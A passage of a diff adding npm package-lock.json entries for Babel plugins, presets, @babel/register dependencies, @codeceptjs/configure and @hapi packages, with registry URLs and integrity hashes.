"sha512-TV4sQ+T013n61uMoygyMRm+xf04Bd5oqFpv2jAEQwSZ8NwQA7zeRPg1LMVg2PWi3zWBz+CLKD+v5bcpZ/BS0aA==", + "peer": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-react-jsx": { + "version": "7.21.0", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx/-/plugin-transform-react-jsx-7.21.0.tgz", + "integrity": "sha512-6OAWljMvQrZjR2DaNhVfRz6dkCAVV+ymcLUmaf8bccGOHn2v5rHJK3tTpij0BuhdYWP4LLaqj5lwcdlpAAPuvg==", + "peer": true, + "dependencies": { + "@babel/helper-annotate-as-pure": "^7.18.6", + "@babel/helper-module-imports": "^7.18.6", + "@babel/helper-plugin-utils": "^7.20.2", + "@babel/plugin-syntax-jsx": "^7.18.6", + "@babel/types": "^7.21.0" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-react-jsx-self": { + "version": "7.21.0", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-self/-/plugin-transform-react-jsx-self-7.21.0.tgz", + "integrity": "sha512-f/Eq+79JEu+KUANFks9UZCcvydOOGMgF7jBrcwjHa5jTZD8JivnhCJYvmlhR/WTXBWonDExPoW0eO/CR4QJirA==", + "peer": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.20.2" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-react-jsx-source": { + "version": "7.19.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-source/-/plugin-transform-react-jsx-source-7.19.6.tgz", + "integrity": "sha512-RpAi004QyMNisst/pvSanoRdJ4q+jMCWyk9zdw/CyLB9j8RXEahodR6l2GyttDRyEVWZtbN+TpLiHJ3t34LbsQ==", + "peer": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.19.0" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-regenerator": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-regenerator/-/plugin-transform-regenerator-7.10.4.tgz", + "integrity": "sha512-3thAHwtor39A7C04XucbMg17RcZ3Qppfxr22wYzZNcVIkPHfpM9J0SO8zuCV6SZa265kxBJSrfKTvDCYqBFXGw==", + "dependencies": { + "regenerator-transform": "^0.14.2" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-regenerator/node_modules/@babel/runtime": { + "version": "7.10.5", + "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.10.5.tgz", + "integrity": "sha512-otddXKhdNn7d0ptoFRHtMLa8LqDxLYwTjB4nYgM1yy5N6gU/MUf8zqyyLltCH3yAVitBzmwK4us+DD0l/MauAg==", + "dependencies": { + "regenerator-runtime": "^0.13.4" + } + }, + "node_modules/@babel/plugin-transform-regenerator/node_modules/regenerator-runtime": { + "version": "0.13.5", + "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.13.5.tgz", + "integrity": "sha512-ZS5w8CpKFinUzOwW3c83oPeVXoNsrLsaCoLtJvAClH135j/R77RuymhiSErhm2lKcwSCIpmvIWSbDkIfAqKQlA==" + }, + "node_modules/@babel/plugin-transform-regenerator/node_modules/regenerator-transform": { + "version": "0.14.5", + "resolved": "https://registry.npmjs.org/regenerator-transform/-/regenerator-transform-0.14.5.tgz", + "integrity": "sha512-eOf6vka5IO151Jfsw2NO9WpGX58W6wWmefK3I1zEGr0lOD0u8rwPaNqQL1aRxUaxLeKO3ArNh3VYg1KbaD+FFw==", + "dependencies": { + "@babel/runtime": "^7.8.4" + } + }, + "node_modules/@babel/plugin-transform-reserved-words": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-reserved-words/-/plugin-transform-reserved-words-7.10.4.tgz", + "integrity": "sha512-hGsw1O6Rew1fkFbDImZIEqA8GoidwTAilwCyWqLBM9f+e/u/sQMQu7uX6dyokfOayRuuVfKOW4O7HvaBWM+JlQ==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.10.4" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-runtime": { + "version": "7.21.0", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-runtime/-/plugin-transform-runtime-7.21.0.tgz", + "integrity": "sha512-ReY6pxwSzEU0b3r2/T/VhqMKg/AkceBT19X0UptA3/tYi5Pe2eXgEUH+NNMC5nok6c6XQz5tyVTUpuezRfSMSg==", + "peer": true, + "dependencies": { + "@babel/helper-module-imports": "^7.18.6", + "@babel/helper-plugin-utils": "^7.20.2", + "babel-plugin-polyfill-corejs2": "^0.3.3", + "babel-plugin-polyfill-corejs3": "^0.6.0", + "babel-plugin-polyfill-regenerator": "^0.4.1", + "semver": "^6.3.0" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-runtime/node_modules/semver": { + "version": "6.3.0", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", + "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", + "peer": true, + "bin": { + "semver": "bin/semver.js" + } + }, + "node_modules/@babel/plugin-transform-shorthand-properties": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-shorthand-properties/-/plugin-transform-shorthand-properties-7.10.4.tgz", + "integrity": "sha512-AC2K/t7o07KeTIxMoHneyX90v3zkm5cjHJEokrPEAGEy3UCp8sLKfnfOIGdZ194fyN4wfX/zZUWT9trJZ0qc+Q==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.10.4" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-spread": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-spread/-/plugin-transform-spread-7.10.4.tgz", + "integrity": "sha512-1e/51G/Ni+7uH5gktbWv+eCED9pP8ZpRhZB3jOaI3mmzfvJTWHkuyYTv0Z5PYtyM+Tr2Ccr9kUdQxn60fI5WuQ==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.10.4" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-sticky-regex": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-sticky-regex/-/plugin-transform-sticky-regex-7.10.4.tgz", + "integrity": "sha512-Ddy3QZfIbEV0VYcVtFDCjeE4xwVTJWTmUtorAJkn6u/92Z/nWJNV+mILyqHKrUxXYKA2EoCilgoPePymKL4DvQ==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.10.4", + "@babel/helper-regex": "^7.10.4" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-template-literals": { + "version": "7.10.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-template-literals/-/plugin-transform-template-literals-7.10.5.tgz", + "integrity": "sha512-V/lnPGIb+KT12OQikDvgSuesRX14ck5FfJXt6+tXhdkJ+Vsd0lDCVtF6jcB4rNClYFzaB2jusZ+lNISDk2mMMw==", + "dependencies": { + "@babel/helper-annotate-as-pure": "^7.10.4", + "@babel/helper-plugin-utils": "^7.10.4" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-typeof-symbol": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-typeof-symbol/-/plugin-transform-typeof-symbol-7.10.4.tgz", + "integrity": "sha512-QqNgYwuuW0y0H+kUE/GWSR45t/ccRhe14Fs/4ZRouNNQsyd4o3PG4OtHiIrepbM2WKUBDAXKCAK/Lk4VhzTaGA==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.10.4" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-typescript": { + "version": "7.21.0", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-typescript/-/plugin-transform-typescript-7.21.0.tgz", + "integrity": "sha512-xo///XTPp3mDzTtrqXoBlK9eiAYW3wv9JXglcn/u1bi60RW11dEUxIgA8cbnDhutS1zacjMRmAwxE0gMklLnZg==", + "peer": true, + "dependencies": { + "@babel/helper-create-class-features-plugin": "^7.21.0", + "@babel/helper-plugin-utils": "^7.20.2", + "@babel/plugin-syntax-typescript": "^7.20.0" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-unicode-escapes": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-escapes/-/plugin-transform-unicode-escapes-7.10.4.tgz", + "integrity": "sha512-y5XJ9waMti2J+e7ij20e+aH+fho7Wb7W8rNuu72aKRwCHFqQdhkdU2lo3uZ9tQuboEJcUFayXdARhcxLQ3+6Fg==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.10.4" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-unicode-regex": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-regex/-/plugin-transform-unicode-regex-7.10.4.tgz", + "integrity": "sha512-wNfsc4s8N2qnIwpO/WP2ZiSyjfpTamT2C9V9FDH/Ljub9zw6P3SjkXcFmc0RQUt96k2fmIvtla2MMjgTwIAC+A==", + "dependencies": { + "@babel/helper-create-regexp-features-plugin": "^7.10.4", + "@babel/helper-plugin-utils": "^7.10.4" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/preset-env": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/preset-env/-/preset-env-7.10.4.tgz", + "integrity": "sha512-tcmuQ6vupfMZPrLrc38d0sF2OjLT3/bZ0dry5HchNCQbrokoQi4reXqclvkkAT5b+gWc23meVWpve5P/7+w/zw==", + "dependencies": { + "@babel/compat-data": "^7.10.4", + "@babel/helper-compilation-targets": "^7.10.4", + "@babel/helper-module-imports": "^7.10.4", + "@babel/helper-plugin-utils": "^7.10.4", + "@babel/plugin-proposal-async-generator-functions": "^7.10.4", + "@babel/plugin-proposal-class-properties": "^7.10.4", + "@babel/plugin-proposal-dynamic-import": "^7.10.4", + "@babel/plugin-proposal-json-strings": "^7.10.4", + "@babel/plugin-proposal-nullish-coalescing-operator": "^7.10.4", + "@babel/plugin-proposal-numeric-separator": "^7.10.4", + "@babel/plugin-proposal-object-rest-spread": "^7.10.4", + "@babel/plugin-proposal-optional-catch-binding": "^7.10.4", + "@babel/plugin-proposal-optional-chaining": "^7.10.4", + "@babel/plugin-proposal-private-methods": "^7.10.4", + "@babel/plugin-proposal-unicode-property-regex": "^7.10.4", + "@babel/plugin-syntax-async-generators": "^7.8.0", + "@babel/plugin-syntax-class-properties": "^7.10.4", + "@babel/plugin-syntax-dynamic-import": "^7.8.0", + "@babel/plugin-syntax-json-strings": "^7.8.0", + "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.0", + "@babel/plugin-syntax-numeric-separator": "^7.10.4", + "@babel/plugin-syntax-object-rest-spread": "^7.8.0", + "@babel/plugin-syntax-optional-catch-binding": "^7.8.0", + "@babel/plugin-syntax-optional-chaining": "^7.8.0", + "@babel/plugin-syntax-top-level-await": "^7.10.4", + "@babel/plugin-transform-arrow-functions": "^7.10.4", + "@babel/plugin-transform-async-to-generator": "^7.10.4", + "@babel/plugin-transform-block-scoped-functions": "^7.10.4", + "@babel/plugin-transform-block-scoping": "^7.10.4", + "@babel/plugin-transform-classes": "^7.10.4", + "@babel/plugin-transform-computed-properties": "^7.10.4", + "@babel/plugin-transform-destructuring": "^7.10.4", + "@babel/plugin-transform-dotall-regex": "^7.10.4", + "@babel/plugin-transform-duplicate-keys": "^7.10.4", + "@babel/plugin-transform-exponentiation-operator": "^7.10.4", + "@babel/plugin-transform-for-of": "^7.10.4", + "@babel/plugin-transform-function-name": "^7.10.4", + "@babel/plugin-transform-literals": "^7.10.4", + "@babel/plugin-transform-member-expression-literals": "^7.10.4", + "@babel/plugin-transform-modules-amd": "^7.10.4", + "@babel/plugin-transform-modules-commonjs": "^7.10.4", + "@babel/plugin-transform-modules-systemjs": "^7.10.4", + "@babel/plugin-transform-modules-umd": "^7.10.4", + "@babel/plugin-transform-named-capturing-groups-regex": "^7.10.4", + "@babel/plugin-transform-new-target": "^7.10.4", + "@babel/plugin-transform-object-super": "^7.10.4", + "@babel/plugin-transform-parameters": "^7.10.4", + "@babel/plugin-transform-property-literals": "^7.10.4", + "@babel/plugin-transform-regenerator": "^7.10.4", + "@babel/plugin-transform-reserved-words": "^7.10.4", + "@babel/plugin-transform-shorthand-properties": "^7.10.4", + "@babel/plugin-transform-spread": "^7.10.4", + "@babel/plugin-transform-sticky-regex": "^7.10.4", + "@babel/plugin-transform-template-literals": "^7.10.4", + "@babel/plugin-transform-typeof-symbol": "^7.10.4", + "@babel/plugin-transform-unicode-escapes": "^7.10.4", + "@babel/plugin-transform-unicode-regex": "^7.10.4", + "@babel/preset-modules": "^0.1.3", + "@babel/types": "^7.10.4", + "browserslist": "^4.12.0", + "core-js-compat": "^3.6.2", + "invariant": "^2.2.2", + "levenary": "^1.1.1", + "semver": "^5.5.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/preset-env/node_modules/browserslist": { + "version": "4.13.0", + "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.13.0.tgz", + "integrity": "sha512-MINatJ5ZNrLnQ6blGvePd/QOz9Xtu+Ne+x29iQSCHfkU5BugKVJwZKn/iiL8UbpIpa3JhviKjz+XxMo0m2caFQ==", + "dependencies": { + "caniuse-lite": "^1.0.30001093", + "electron-to-chromium": "^1.3.488", + "escalade": "^3.0.1", + "node-releases": "^1.1.58" + }, + "bin": { + "browserslist": "cli.js" + }, + "engines": { + "node": "^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7" + }, + "funding": { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/browserslist" + } + }, + "node_modules/@babel/preset-env/node_modules/node-releases": { + "version": "1.1.59", + "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-1.1.59.tgz", + "integrity": "sha512-H3JrdUczbdiwxN5FuJPyCHnGHIFqQ0wWxo+9j1kAXAzqNMAHlo+4I/sYYxpyK0irQ73HgdiyzD32oqQDcU2Osw==" + }, + "node_modules/@babel/preset-flow": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/preset-flow/-/preset-flow-7.18.6.tgz", + "integrity": "sha512-E7BDhL64W6OUqpuyHnSroLnqyRTcG6ZdOBl1OKI/QK/HJfplqK/S3sq1Cckx7oTodJ5yOXyfw7rEADJ6UjoQDQ==", + "peer": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.18.6", + "@babel/helper-validator-option": "^7.18.6", + "@babel/plugin-transform-flow-strip-types": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/preset-modules": { + "version": "0.1.3", + "resolved": "https://registry.npmjs.org/@babel/preset-modules/-/preset-modules-0.1.3.tgz", + "integrity": "sha512-Ra3JXOHBq2xd56xSF7lMKXdjBn3T772Y1Wet3yWnkDly9zHvJki029tAFzvAAK5cf4YV3yoxuP61crYRol6SVg==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.0.0", + "@babel/plugin-proposal-unicode-property-regex": "^7.4.4", + "@babel/plugin-transform-dotall-regex": "^7.4.4", + "@babel/types": "^7.4.4", + "esutils": "^2.0.2" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/preset-typescript": { + "version": "7.21.0", + "resolved": "https://registry.npmjs.org/@babel/preset-typescript/-/preset-typescript-7.21.0.tgz", + "integrity": "sha512-myc9mpoVA5m1rF8K8DgLEatOYFDpwC+RkMkjZ0Du6uI62YvDe8uxIEYVs/VCdSJ097nlALiU/yBC7//3nI+hNg==", + "peer": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.20.2", + "@babel/helper-validator-option": "^7.21.0", + "@babel/plugin-transform-typescript": "^7.21.0" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/register": { + "version": "7.21.0", + "resolved": "https://registry.npmjs.org/@babel/register/-/register-7.21.0.tgz", + "integrity": "sha512-9nKsPmYDi5DidAqJaQooxIhsLJiNMkGr8ypQ8Uic7cIox7UCDsM7HuUGxdGT7mSDTYbqzIdsOWzfBton/YJrMw==", + "peer": true, + "dependencies": { + "clone-deep": "^4.0.1", + "find-cache-dir": "^2.0.0", + "make-dir": "^2.1.0", + "pirates": "^4.0.5", + "source-map-support": "^0.5.16" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/register/node_modules/clone-deep": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/clone-deep/-/clone-deep-4.0.1.tgz", + "integrity": "sha512-neHB9xuzh/wk0dIHweyAXv2aPGZIVk3pLMe+/RNzINf17fe0OG96QroktYAUm7SM1PBnzTabaLboqqxDyMU+SQ==", + "peer": true, + "dependencies": { + "is-plain-object": "^2.0.4", + "kind-of": "^6.0.2", + "shallow-clone": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/@babel/register/node_modules/find-cache-dir": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/find-cache-dir/-/find-cache-dir-2.1.0.tgz", + "integrity": "sha512-Tq6PixE0w/VMFfCgbONnkiQIVol/JJL7nRMi20fqzA4NRs9AfeqMGeRdPi3wIhYkxjeBaWh2rxwapn5Tu3IqOQ==", + "peer": true, + "dependencies": { + "commondir": "^1.0.1", + "make-dir": "^2.0.0", + "pkg-dir": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/@babel/register/node_modules/find-up": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-3.0.0.tgz", + "integrity": "sha512-1yD6RmLI1XBfxugvORwlck6f75tYL+iR0jqwsOrOxMZyGYqUuDhJ0l4AXdO1iX/FTs9cBAMEk1gWSEx1kSbylg==", + "peer": true, + "dependencies": { + "locate-path": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/@babel/register/node_modules/kind-of": { + "version": "6.0.3", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.3.tgz", + "integrity": "sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw==", + "peer": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/@babel/register/node_modules/locate-path": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-3.0.0.tgz", + "integrity": "sha512-7AO748wWnIhNqAuaty2ZWHkQHRSNfPVIsPIfwEOWO22AmaoVrWavlOcMR5nzTLNYvp36X220/maaRsrec1G65A==", + "peer": true, + "dependencies": { + "p-locate": "^3.0.0", + "path-exists": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/@babel/register/node_modules/make-dir": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-2.1.0.tgz", + "integrity": "sha512-LS9X+dc8KLxXCb8dni79fLIIUA5VyZoyjSMCwTluaXA0o27cCK0bhXkpgw+sTXVpPy/lSO57ilRixqk0vDmtRA==", + "peer": true, + "dependencies": { + "pify": "^4.0.1", + "semver": "^5.6.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/@babel/register/node_modules/p-limit": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz", + "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==", + "peer": true, + "dependencies": { + "p-try": "^2.0.0" + }, + "engines": { + "node": ">=6" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/@babel/register/node_modules/p-locate": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-3.0.0.tgz", + "integrity": "sha512-x+12w/To+4GFfgJhBEpiDcLozRJGegY+Ei7/z0tSLkMmxGZNybVMSfWj9aJn8Z5Fc7dBUNJOOVgPv2H7IwulSQ==", + "peer": true, + "dependencies": { + "p-limit": "^2.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/@babel/register/node_modules/p-try": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/p-try/-/p-try-2.2.0.tgz", + "integrity": "sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ==", + "peer": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/@babel/register/node_modules/path-exists": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-3.0.0.tgz", + "integrity": "sha512-bpC7GYwiDYQ4wYLe+FA8lhRjhQCMcQGuSgGGqDkg/QerRWw9CmGRT0iSOVRSZJ29NMLZgIzqaljJ63oaL4NIJQ==", + "peer": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/@babel/register/node_modules/pify": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/pify/-/pify-4.0.1.tgz", + "integrity": "sha512-uB80kBFb/tfd68bVleG9T5GGsGPjJrLAUpR5PZIrhBnIaRTQRjqdJSsIKkOP6OAIFbj7GOrcudc5pNjZ+geV2g==", + "peer": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/@babel/register/node_modules/pkg-dir": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/pkg-dir/-/pkg-dir-3.0.0.tgz", + "integrity": "sha512-/E57AYkoeQ25qkxMj5PBOVgF8Kiu/h7cYS30Z5+R7WaiCCBfLq58ZI/dSeaEKb9WVJV5n/03QwrN3IeWIFllvw==", + "peer": true, + "dependencies": { + "find-up": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/@babel/register/node_modules/shallow-clone": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/shallow-clone/-/shallow-clone-3.0.1.tgz", + "integrity": "sha512-/6KqX+GVUdqPuPPd2LxDDxzX6CAbjJehAAOKlNpqqUpAqPM6HeL8f+o3a+JsyGjn2lv0WY8UsTgUJjU9Ok55NA==", + "peer": true, + "dependencies": { + "kind-of": "^6.0.2" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/@babel/register/node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "peer": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/@babel/register/node_modules/source-map-support": { + "version": "0.5.21", + "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.21.tgz", + "integrity": "sha512-uBHU3L3czsIyYXKX88fdrGovxdSCoTGDRZ6SYXtSRxLZUzHg5P/66Ht6uoUlHu9EZod+inXhKo3qQgwXUT/y1w==", + "peer": true, + "dependencies": { + "buffer-from": "^1.0.0", + "source-map": "^0.6.0" + } + }, + "node_modules/@babel/runtime": { + "version": "7.3.1", + "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.3.1.tgz", + "integrity": "sha512-7jGW8ppV0ant637pIqAcFfQDDH1orEPGJb8aXfUozuCU3QqX7rX4DA8iwrbPrR1hcH0FTTHz47yQnk+bl5xHQA==", + "dependencies": { + "regenerator-runtime": "^0.12.0" + } + }, + "node_modules/@babel/runtime/node_modules/regenerator-runtime": { + "version": "0.12.1", + "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.12.1.tgz", + "integrity": "sha512-odxIc1/vDlo4iZcfXqRYFj0vpXFNoGdKMAUieAlFYO6m/nl5e9KR/beGf41z4a1FI+aQgtjhuaSlDxQ0hmkrHg==" + }, + "node_modules/@babel/template": { + "version": "7.20.7", + "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.20.7.tgz", + "integrity": "sha512-8SegXApWe6VoNw0r9JHpSteLKTpTiLZ4rMlGIm9JQ18KiCtyQiAMEazujAHrUS5flrcqYZa75ukev3P6QmUwUw==", + "dependencies": { + "@babel/code-frame": "^7.18.6", + "@babel/parser": "^7.20.7", + "@babel/types": "^7.20.7" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/traverse": { + "version": "7.21.2", + "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.21.2.tgz", + "integrity": "sha512-ts5FFU/dSUPS13tv8XiEObDu9K+iagEKME9kAbaP7r0Y9KtZJZ+NGndDvWoRAYNpeWafbpFeki3q9QoMD6gxyw==", + "dependencies": { + "@babel/code-frame": "^7.18.6", + "@babel/generator": "^7.21.1", + "@babel/helper-environment-visitor": "^7.18.9", + "@babel/helper-function-name": "^7.21.0", + "@babel/helper-hoist-variables": "^7.18.6", + "@babel/helper-split-export-declaration": "^7.18.6", + "@babel/parser": "^7.21.2", + "@babel/types": "^7.21.2", + "debug": "^4.1.0", + "globals": "^11.1.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/traverse/node_modules/debug": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.1.1.tgz", + "integrity": "sha512-pYAIzeRo8J6KPEaJ0VWOh5Pzkbw/RetuzehGM7QRRX5he4fPHx2rdKMB256ehJCkX+XRQm16eZLqLNS8RSZXZw==", + "deprecated": "Debug versions >=3.2.0 <3.2.7 || >=4 <4.3.1 have a low-severity ReDos regression when used in a Node.js environment. It is recommended you upgrade to 3.2.7 or 4.3.1. (https://github.com/visionmedia/debug/issues/797)", + "dependencies": { + "ms": "^2.1.1" + } + }, + "node_modules/@babel/traverse/node_modules/globals": { + "version": "11.12.0", + "resolved": "https://registry.npmjs.org/globals/-/globals-11.12.0.tgz", + "integrity": "sha512-WOBp/EEGUiIsJSp7wcv/y6MO+lV9UoncWqxuFfm8eBwzWNgyfBd6Gz+IeKQ9jCmyhoH99g15M3T+QaVHFjizVA==", + "engines": { + "node": ">=4" + } + }, + "node_modules/@babel/traverse/node_modules/ms": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" + }, + "node_modules/@babel/types": { + "version": "7.21.2", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.21.2.tgz", + "integrity": "sha512-3wRZSs7jiFaB8AjxiiD+VqN5DTG2iRvJGQ+qYFrs/654lg6kGTQWIOFjlBo5RaXuAZjBmP3+OQH4dmhqiiyYxw==", + "dependencies": { + "@babel/helper-string-parser": "^7.19.4", + "@babel/helper-validator-identifier": "^7.19.1", + "to-fast-properties": "^2.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/types/node_modules/to-fast-properties": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/to-fast-properties/-/to-fast-properties-2.0.0.tgz", + "integrity": "sha1-3F5pjL0HkmW8c+A3doGk5Og/YW4=", + "engines": { + "node": ">=4" + } + }, + "node_modules/@codeceptjs/configure": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/@codeceptjs/configure/-/configure-0.4.1.tgz", + "integrity": "sha512-/ciEKj1iVJrSnc1kbvuvDsQa+b6chSgJXpOWttYlcUIARb1puubuPRe7OOo0YLmVC/RFgA1YpSG2ryjfhhXnmQ==", + "dev": true, + "dependencies": { + "lodash.merge": "^4.6.2", + "lodash.mergewith": "^4.6.2", + "webdriverio": "^5.15.2" + } + }, + "node_modules/@hapi/hoek": { + "version": "9.3.0", + "resolved": "https://registry.npmjs.org/@hapi/hoek/-/hoek-9.3.0.tgz", + "integrity": "sha512-/c6rf4UJlmHlC9b5BaNvzAcFv7HZ2QHaV0D4/HNlBdvFnvQq8RI4kYdhyPCl7Xj+oWvTWQ8ujhqS53LIgAe6KQ==", + "peer": true + }, + "node_modules/@hapi/topo": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/@hapi/topo/-/topo-5.1.0.tgz", + "integrity": "sha512-foQZKJig7Ob0BMAYBfcJk8d77QtOe7Wo4ox7ff1lQYoNNAb6jwcY1ncdoy2e9wQZzvNy7ODZCYJkK8kzmcAnAg==", + "peer": true, + "dependencies": { + "@hapi/hoek": "^9.0.0" + } + }, + "node_modules/@jest/create-cache-key-function": { + "version": "29.4.3", + "resolved": 